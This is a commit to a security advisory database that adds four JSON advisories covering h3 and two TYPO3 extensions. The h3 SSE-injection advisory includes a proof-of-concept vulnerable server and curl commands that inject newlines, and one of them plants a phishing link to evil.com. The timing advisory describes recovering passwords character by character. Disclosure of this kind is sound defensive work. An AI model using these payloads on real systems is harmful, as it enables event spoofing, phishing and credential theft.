Skip to content

Commit 7fa55c8

Browse files
1 parent 7b6e7c0 commit 7fa55c8

8 files changed

Lines changed: 499 additions & 41 deletions

File tree

Lines changed: 87 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,87 @@
1+
{
2+
"schema_version": "1.4.0",
3+
"id": "GHSA-22cc-p3c6-wpvm",
4+
"modified": "2026-03-18T16:17:43Z",
5+
"published": "2026-03-18T16:17:43Z",
6+
"aliases": [
7+
"CVE-2026-33128"
8+
],
9+
"summary": "h3 has a Server-Sent Events Injection via Unsanitized Newlines in Event Stream Fields",
10+
"details": "## Summary\n\n`createEventStream` in h3 is vulnerable to Server-Sent Events (SSE) injection due to missing newline sanitization in `formatEventStreamMessage()` and `formatEventStreamComment()`. An attacker who controls any part of an SSE message field (`id`, `event`, `data`, or comment) can inject arbitrary SSE events to connected clients.\n\n## Details\n\nThe vulnerability exists in `src/utils/internal/event-stream.ts`, lines [170](https://github.com/h3js/h3/blob/52c82e18bb643d124b8b9ec3b1f62b081f044611/src/utils/internal/event-stream.ts#L170)-[187](https://github.com/h3js/h3/blob/52c82e18bb643d124b8b9ec3b1f62b081f044611/src/utils/internal/event-stream.ts#L187):\n\n```typescript\nexport function formatEventStreamComment(comment: string): string {\n return `: ${comment}\\n\\n`;\n}\n\nexport function formatEventStreamMessage(message: EventStreamMessage): string {\n let result = \"\";\n if (message.id) {\n result += `id: ${message.id}\\n`;\n }\n if (message.event) {\n result += `event: ${message.event}\\n`;\n }\n if (typeof message.retry === \"number\" && Number.isInteger(message.retry)) {\n result += `retry: ${message.retry}\\n`;\n }\n result += `data: ${message.data}\\n\\n`;\n return result;\n}\n```\n\nThe SSE protocol (defined in the [WHATWG HTML spec](https://html.spec.whatwg.org/multipage/server-sent-events.html#event-stream-interpretation)) uses newline characters (`\\n`) as field delimiters and double newlines (`\\n\\n`) as event separators.\n\nNone of the fields (`id`, `event`, `data`, comment) are sanitized for newline characters before being interpolated into the SSE wire format. If any field value contains `\\n`, the SSE framing is broken, allowing an attacker to:\n\n1. **Inject arbitrary SSE fields** — break out of one field and add `event:`, `data:`, `id:`, or `retry:` directives\n2. **Inject entirely new SSE events** — using `\\n\\n` to terminate the current event and start a new one\n3. **Manipulate reconnection behavior** — inject `retry: 1` to force aggressive reconnection (DoS)\n4. **Override Last-Event-ID** — inject `id:` to manipulate which events are replayed on reconnection\n\n### Injection via the `event` field\n\n```\nIntended wire format: Actual wire format (with \\n injection):\n\nevent: message event: message\ndata: attacker: hey event: admin ← INJECTED\n data: ALL_USERS_HACKED ← INJECTED\n data: attacker: hey\n```\n\nThe browser's `EventSource` API parses these as two separate events: one `message` event and one `admin` event.\n\n### Injection via the `data` field\n\n```\nIntended: Actual (with \\n\\n injection):\n\nevent: message event: message\ndata: bob: hi data: bob: hi\n ← event boundary\n event: system ← INJECTED event\n data: Reset: evil.com ← INJECTED data\n```\n\nBefore exploit:\n<img width=\"700\" height=\"61\" alt=\"image\" src=\"https://github.com/user-attachments/assets/d9d28296-0d42-40d7-b79c-d337406cbfc9\" />\n\n<img width=\"713\" height=\"228\" alt=\"image\" src=\"https://github.com/user-attachments/assets/5a52debc-2775-4367-b427-df4100fe2b8e\" />\n\n## PoC\n\n### Vulnerable server (`sse-server.ts`)\n\nA realistic chat/notification server that broadcasts user input via SSE:\n\n```typescript\nimport { H3, createEventStream, getQuery } from \"h3\";\nimport { serve } from \"h3/node\";\n\nconst app = new H3();\nconst clients: any[] = [];\n\napp.get(\"/events\", (event) => {\n const stream = createEventStream(event);\n clients.push(stream);\n stream.onClosed(() => {\n clients.splice(clients.indexOf(stream), 1);\n stream.close();\n });\n return stream.send();\n});\n\napp.get(\"/send\", async (event) => {\n const query = getQuery(event);\n const user = query.user as string;\n const msg = query.msg as string;\n const type = (query.type as string) || \"message\";\n\n for (const client of clients) {\n await client.push({ event: type, data: `${user}: ${msg}` });\n }\n\n return { status: \"sent\" };\n});\n\nserve({ fetch: app.fetch });\n```\n\n### Exploit\n\n```bash\n# 1. Inject fake \"admin\" event via event field\ncurl -s \"http://localhost:3000/send?user=attacker&msg=hey&type=message%0aevent:%20admin%0adata:%20SYSTEM:%20Server%20shutting%20down\"\n\n# 2. Inject separate phishing event via data field\ncurl -s \"http://localhost:3000/send?user=bob&msg=hi%0a%0aevent:%20system%0adata:%20Password%20reset:%20http://evil.com/steal&type=message\"\n\n# 3. Inject retry directive for reconnection DoS\ncurl -s \"http://localhost:3000/send?user=x&msg=test%0aretry:%201&type=message\"\n```\n\n### Raw wire format proving injection\n\n```\nevent: message\nevent: admin\ndata: ALL_USERS_COMPROMISED\ndata: attacker: legit\n\n```\n\nThe browser's `EventSource` fires this as an `admin` event with data `ALL_USERS_COMPROMISED` — entirely controlled by the attacker.\n\nProof:\n\n<img width=\"856\" height=\"275\" alt=\"image\" src=\"https://github.com/user-attachments/assets/111d3fde-e461-4e44-8112-9f19fff41fec\" />\n\n<img width=\"950\" height=\"156\" alt=\"image\" src=\"https://github.com/user-attachments/assets/ff750f9c-e5d9-4aa4-b48a-20b49747d2ab\" />\n\n\n## Impact\n\nAn attacker who can influence any field of an SSE message (common in chat applications, notification systems, live dashboards, AI streaming responses, and collaborative tools) can inject arbitrary SSE events that all connected clients will process as legitimate.\n\n**Attack scenarios:**\n\n- **Cross-user content injection** — inject fake messages in chat applications\n- **Phishing** — inject fake system notifications with malicious links\n- **Event spoofing** — trigger client-side handlers for privileged event types (e.g., `admin`, `system`)\n- **Reconnection DoS** — inject `retry: 1` to force all clients to reconnect every 1ms\n- **Last-Event-ID manipulation** — override the event ID to cause event replay or skipping on reconnection\n\nThis is a framework-level vulnerability, not a developer misconfiguration — the framework's API accepts arbitrary strings but does not enforce the SSE protocol's invariant that field values must not contain newlines.",
11+
"severity": [
12+
{
13+
"type": "CVSS_V3",
14+
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:L/I:H/A:N"
15+
}
16+
],
17+
"affected": [
18+
{
19+
"package": {
20+
"ecosystem": "npm",
21+
"name": "h3"
22+
},
23+
"ranges": [
24+
{
25+
"type": "ECOSYSTEM",
26+
"events": [
27+
{
28+
"introduced": "2.0.0"
29+
},
30+
{
31+
"fixed": "2.0.1-rc.15"
32+
}
33+
]
34+
}
35+
],
36+
"database_specific": {
37+
"last_known_affected_version_range": "<= 2.0.1-rc.14"
38+
}
39+
},
40+
{
41+
"package": {
42+
"ecosystem": "npm",
43+
"name": "h3"
44+
},
45+
"ranges": [
46+
{
47+
"type": "ECOSYSTEM",
48+
"events": [
49+
{
50+
"introduced": "0"
51+
},
52+
{
53+
"fixed": "1.15.6"
54+
}
55+
]
56+
}
57+
]
58+
}
59+
],
60+
"references": [
61+
{
62+
"type": "WEB",
63+
"url": "https://github.com/h3js/h3/security/advisories/GHSA-22cc-p3c6-wpvm"
64+
},
65+
{
66+
"type": "WEB",
67+
"url": "https://github.com/h3js/h3/commit/7791538e15ca22437307c06b78fa155bb73632a6"
68+
},
69+
{
70+
"type": "PACKAGE",
71+
"url": "https://github.com/h3js/h3"
72+
},
73+
{
74+
"type": "WEB",
75+
"url": "https://github.com/h3js/h3/blob/52c82e18bb643d124b8b9ec3b1f62b081f044611/src/utils/internal/event-stream.ts#L170-L187"
76+
}
77+
],
78+
"database_specific": {
79+
"cwe_ids": [
80+
"CWE-93"
81+
],
82+
"severity": "HIGH",
83+
"github_reviewed": true,
84+
"github_reviewed_at": "2026-03-18T16:17:43Z",
85+
"nvd_published_at": null
86+
}
87+
}
Lines changed: 60 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,60 @@
1+
{
2+
"schema_version": "1.4.0",
3+
"id": "GHSA-26f5-8h2x-34xh",
4+
"modified": "2026-03-18T16:17:58Z",
5+
"published": "2026-03-18T16:17:58Z",
6+
"aliases": [
7+
"CVE-2026-33129"
8+
],
9+
"summary": "h3 has an observable timing discrepancy in basic auth utils",
10+
"details": "### Summary\nA Timing Side-Channel vulnerability exists in the `requireBasicAuth` function due to the use of unsafe string comparison (`!==`). This allows an attacker to deduce the valid password character-by-character by measuring the server's response time, effectively bypassing password complexity protections.\n\n### Details\nThe vulnerability is located in the `requireBasicAuth` function. The code performs a standard string comparison between the user-provided password and the expected password:\n\n~~~typescript\nif (opts.password && password !== opts.password) {\n throw autheFailed(event, opts?.realm);\n}\n~~~\n\nIn V8 (and most runtime environments), the `!==` operator is optimized to \"fail fast.\" It stops execution and returns `false` as soon as it encounters the first mismatched byte.\n* If the first character is wrong, it returns immediately.\n* If the first character is correct but the second is wrong, it takes slightly longer.\n\nBy statistically analyzing these minute timing differences over many requests, an attacker can determine the correct password one character at a time.\n\n### PoC\nThis vulnerability is exploitable in real-world scenarios without direct access to the server machine.\n\nTo reproduce this, an attacker can send two packets (or bursts of packets) at the exact same time:\n1. **Packet A:** Contains a password that is known to be incorrect starting at the first character (e.g., `AAAA...`).\n2. **Packet B:** Contains a password where the first character is a guess (e.g., `B...`).\n\nBy measuring the time-to-first-byte (TTFB) or total response time of these concurrent requests, the attacker can filter out network jitter. If Packet B takes consistently longer to return than Packet A, the first character is confirmed as correct. This process is repeated for the second character, and so on. Tests confirm this timing difference is statistically consistent enough to recover credentials remotely.\n\n### Impact\n\nThis vulnerability allows remote attackers to recover passwords. While network jitter makes this difficult over the internet, it is highly effective in local networks or cloud environments where the attacker is co-located. It reduces the complexity of cracking a password from exponential (guessing the whole string) to linear (guessing one char at a time).",
11+
"severity": [
12+
{
13+
"type": "CVSS_V3",
14+
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N"
15+
}
16+
],
17+
"affected": [
18+
{
19+
"package": {
20+
"ecosystem": "npm",
21+
"name": "h3"
22+
},
23+
"ranges": [
24+
{
25+
"type": "ECOSYSTEM",
26+
"events": [
27+
{
28+
"introduced": "2.0.0-beta.0"
29+
},
30+
{
31+
"fixed": "2.0.1-rc.9"
32+
}
33+
]
34+
}
35+
],
36+
"database_specific": {
37+
"last_known_affected_version_range": "<= 2.0.0-rc.8"
38+
}
39+
}
40+
],
41+
"references": [
42+
{
43+
"type": "WEB",
44+
"url": "https://github.com/h3js/h3/security/advisories/GHSA-26f5-8h2x-34xh"
45+
},
46+
{
47+
"type": "PACKAGE",
48+
"url": "https://github.com/h3js/h3"
49+
}
50+
],
51+
"database_specific": {
52+
"cwe_ids": [
53+
"CWE-208"
54+
],
55+
"severity": "MODERATE",
56+
"github_reviewed": true,
57+
"github_reviewed_at": "2026-03-18T16:17:58Z",
58+
"nvd_published_at": null
59+
}
60+
}

advisories/unreviewed/2026/03/GHSA-29r8-gvx4-r9w3/GHSA-29r8-gvx4-r9w3.json renamed to advisories/github-reviewed/2026/03/GHSA-29r8-gvx4-r9w3/GHSA-29r8-gvx4-r9w3.json

Lines changed: 34 additions & 5 deletions
Original file line numberDiff line numberDiff line change
@@ -1,24 +1,53 @@
11
{
22
"schema_version": "1.4.0",
33
"id": "GHSA-29r8-gvx4-r9w3",
4-
"modified": "2026-03-17T09:31:28Z",
4+
"modified": "2026-03-18T16:17:23Z",
55
"published": "2026-03-17T09:31:28Z",
66
"aliases": [
77
"CVE-2026-4208"
88
],
9+
"summary": "Authentication Bypass in extension \"E-Mail MFA Provider\" (mfa_email)",
910
"details": "The extension fails to properly reset the generated MFA code after successful authentication. This leads to a possible MFA bypass for future login attempts by providing an empty string as MFA code to the extensions MFA provider.",
1011
"severity": [
1112
{
1213
"type": "CVSS_V4",
13-
"score": "CVSS:4.0/AV:N/AC:H/AT:P/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X"
14+
"score": "CVSS:4.0/AV:N/AC:H/AT:P/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N"
15+
}
16+
],
17+
"affected": [
18+
{
19+
"package": {
20+
"ecosystem": "Packagist",
21+
"name": "ralffreit/mfa-email"
22+
},
23+
"ranges": [
24+
{
25+
"type": "ECOSYSTEM",
26+
"events": [
27+
{
28+
"introduced": "0"
29+
},
30+
{
31+
"last_affected": "2.0.0"
32+
}
33+
]
34+
}
35+
]
1436
}
1537
],
16-
"affected": [],
1738
"references": [
1839
{
1940
"type": "ADVISORY",
2041
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-4208"
2142
},
43+
{
44+
"type": "WEB",
45+
"url": "https://github.com/MrSilaz/mfa_email/commit/0bb7e85b236a5232f7b092915453dd7c3da48f12"
46+
},
47+
{
48+
"type": "PACKAGE",
49+
"url": "https://github.com/MrSilaz/mfa_email"
50+
},
2251
{
2352
"type": "WEB",
2453
"url": "https://typo3.org/security/advisory/typo3-ext-sa-2026-007"
@@ -29,8 +58,8 @@
2958
"CWE-639"
3059
],
3160
"severity": "HIGH",
32-
"github_reviewed": false,
33-
"github_reviewed_at": null,
61+
"github_reviewed": true,
62+
"github_reviewed_at": "2026-03-18T16:17:23Z",
3463
"nvd_published_at": "2026-03-17T09:16:14Z"
3564
}
3665
}
Lines changed: 92 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,92 @@
1+
{
2+
"schema_version": "1.4.0",
3+
"id": "GHSA-2pm6-9fhx-vvg3",
4+
"modified": "2026-03-18T16:17:08Z",
5+
"published": "2026-03-18T16:17:08Z",
6+
"aliases": [
7+
"CVE-2026-1323"
8+
],
9+
"summary": "The mailqueue TYPO3 extension has Insecure Deserialization in `TransportFailure` class",
10+
"details": "## Description\n\nThe extension fails to properly define allowed classes used when deserializing transport failure metadata. An attacker may exploit this to execute untrusted serialized code. Note that an active exploit requires write access to the directory configured at `$GLOBALS['TYPO3_CONF_VARS']['MAIL']['transport_spool_filepath']`.",
11+
"severity": [
12+
{
13+
"type": "CVSS_V4",
14+
"score": "CVSS:4.0/AV:L/AC:L/AT:P/PR:L/UI:N/VC:N/VI:L/VA:N/SC:H/SI:H/SA:H"
15+
}
16+
],
17+
"affected": [
18+
{
19+
"package": {
20+
"ecosystem": "Packagist",
21+
"name": "cpsit/typo3-mailqueue"
22+
},
23+
"ranges": [
24+
{
25+
"type": "ECOSYSTEM",
26+
"events": [
27+
{
28+
"introduced": "0"
29+
},
30+
{
31+
"fixed": "0.4.5"
32+
}
33+
]
34+
}
35+
]
36+
},
37+
{
38+
"package": {
39+
"ecosystem": "Packagist",
40+
"name": "cpsit/typo3-mailqueue"
41+
},
42+
"ranges": [
43+
{
44+
"type": "ECOSYSTEM",
45+
"events": [
46+
{
47+
"introduced": "0.5.0"
48+
},
49+
{
50+
"fixed": "0.5.2"
51+
}
52+
]
53+
}
54+
]
55+
}
56+
],
57+
"references": [
58+
{
59+
"type": "WEB",
60+
"url": "https://github.com/CPS-IT/mailqueue/security/advisories/GHSA-2pm6-9fhx-vvg3"
61+
},
62+
{
63+
"type": "ADVISORY",
64+
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-1323"
65+
},
66+
{
67+
"type": "WEB",
68+
"url": "https://github.com/CPS-IT/mailqueue/commit/0f7a1376bbbd8c7658030d02e51c10a85b1dfdf7"
69+
},
70+
{
71+
"type": "WEB",
72+
"url": "https://github.com/CPS-IT/mailqueue/commit/600c7dba99f8eea5f2505b848ee3dd4713440741"
73+
},
74+
{
75+
"type": "PACKAGE",
76+
"url": "https://github.com/CPS-IT/mailqueue"
77+
},
78+
{
79+
"type": "WEB",
80+
"url": "https://typo3.org/security/advisory/typo3-ext-sa-2026-005"
81+
}
82+
],
83+
"database_specific": {
84+
"cwe_ids": [
85+
"CWE-502"
86+
],
87+
"severity": "MODERATE",
88+
"github_reviewed": true,
89+
"github_reviewed_at": "2026-03-18T16:17:08Z",
90+
"nvd_published_at": "2026-03-17T09:16:13Z"
91+
}
92+
}

0 commit comments

Comments
 (0)